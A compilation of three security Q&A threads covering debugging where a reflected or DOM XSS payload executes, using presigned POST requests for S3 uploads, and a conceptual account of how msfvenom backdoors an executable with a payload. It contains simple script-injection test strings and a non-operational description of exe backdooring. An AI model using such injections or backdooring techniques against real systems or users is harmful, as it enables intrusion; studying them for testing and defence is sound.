How to identify where XSS is actually executed? So I have a reflected XSS vulnerability where I get a pop up by entering <script>alert(2)</script> in the search field. I can't see this payload ('2') anywhere on the screen, neither if I view source.

What would be the correct approach to debug this XSS and find out where is the location it's being executed? Normally I would just open Developer Tools and use 'Pick an element on the web page' and click on payload and it would show, but in this case I don't know where it's located.

I imagine I could use breakpoints.

This could be a DOM XSS, meaning that the script tag is injected using JavaScript instead of the server. Try opening up the developer console (F12) and injecting one of these values:

<script>debugger</script>, opens the debugger. Check the call stack on the right to see what is going on.
<script>throw "XSS"</script>, and check the console for where the error occurred.

The injected script would still be visible in the DOM that is displayed in the developer console (or with "Inspect element"), even if it is not in the HTML source.


Is it OK to pass credentials to the client to allow it to upload files to Amazon S3? Our mobile app will be uploading images to AWS S3. The question is whether to do one of the following options:

Upload the image to our APIs server, then our APIs server uploads the image to S3
Pros: More secure, as the S3 credentials is only stored at cloud.
Cons: More pressure on APIs server, as thousands of users will be uploading images, with sizes varying from 2 MB to 10 MB
Let the mobile app upload the image directly to S3, by getting temp S3 credentials from APIs server for each S3 access.
Pros: Less pressure on API's server, no files will be uploaded to the server.
Cons: Less secure, as S3 credentials will be exposed to the mobile, regardless the fact, that the mobile app will ask for temp credentials each time to access S3, and that it gets the credential through SSL connection with the APIs server.

So, is option two above still better? As we are already granting temp credentials that is valid for only 15 minutes each time to access S3 through SSL connection.

What is the recommended way to do this?

The preferred way to go is to generate a presigned POST request (your backend server asks for it with your own admin credentials).

Then from client-side you upload using this pre-signed POST.

It's effectively a way to have temporary credentials, but much more easy & secure to deploy as it can be restricted to the exact file you need to have uploaded.

Here is the link if you use the Ruby SDK (https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/S3/PresignedPost.html) and you will easily find that for the SDK you use.

Edit: As per comment, link to official AWS doc: https://docs.aws.amazon.com/AmazonS3/latest/dev/PresignedUrlUploadObject.html


injecting malicious code to existing exe file: what really happens? With metasploit, we can do thing like injecting a backdoor to one exe file. For example, msfvenom is used ( here is a link for reference https://www.offensive-security.com/metasploit-unleashed/backdooring-exe-files/). Could you please tell me what really happens behind the scene when we inject shell code to an exe file?

To me, injecting backdoor to one exe file is just like injecting code to one existing process; and as I know, dll injection and inline function hooking can do this. However, we need to do DLL injection and inline function hooking in Windows. Here, metasploit and msfvenom could run in linux. Please help me correct my understanding if is there anything wrong.

When you run an executable, you're basically getting your computer to read and execute some specified sections of the file. Oversimplification:

Imagine you're reading a document. You first open the document and your reader will display the contents of the file to you. It can do this because the preceding section of the file, or its header tells it what the file is and what to do with it and also what sections are filled with valid data.

Something similar happens when you run an executable. Your computer reads the file and understands what section of the file to execute to show you some output on the screen. When msfvenom backdoors an executable, it identifies what sections of the compiled file are marked with executable data and proceeds to replace or add it's own payload (like a reverse shell script or whatever you'd like) in this place. When you send it to your victim and they run the file, their systems end up running the evil payload as it thinks it's legitimate. This sometimes does backfire though - since msfvenom has no way to see exactly what it's replacing, it sometimes replaces crucial portions like the GUI and that makes the executable look broken on execution.

You could do this yourself too. Just replace the main function of a program with your payload and it'll execute it as the normal application would.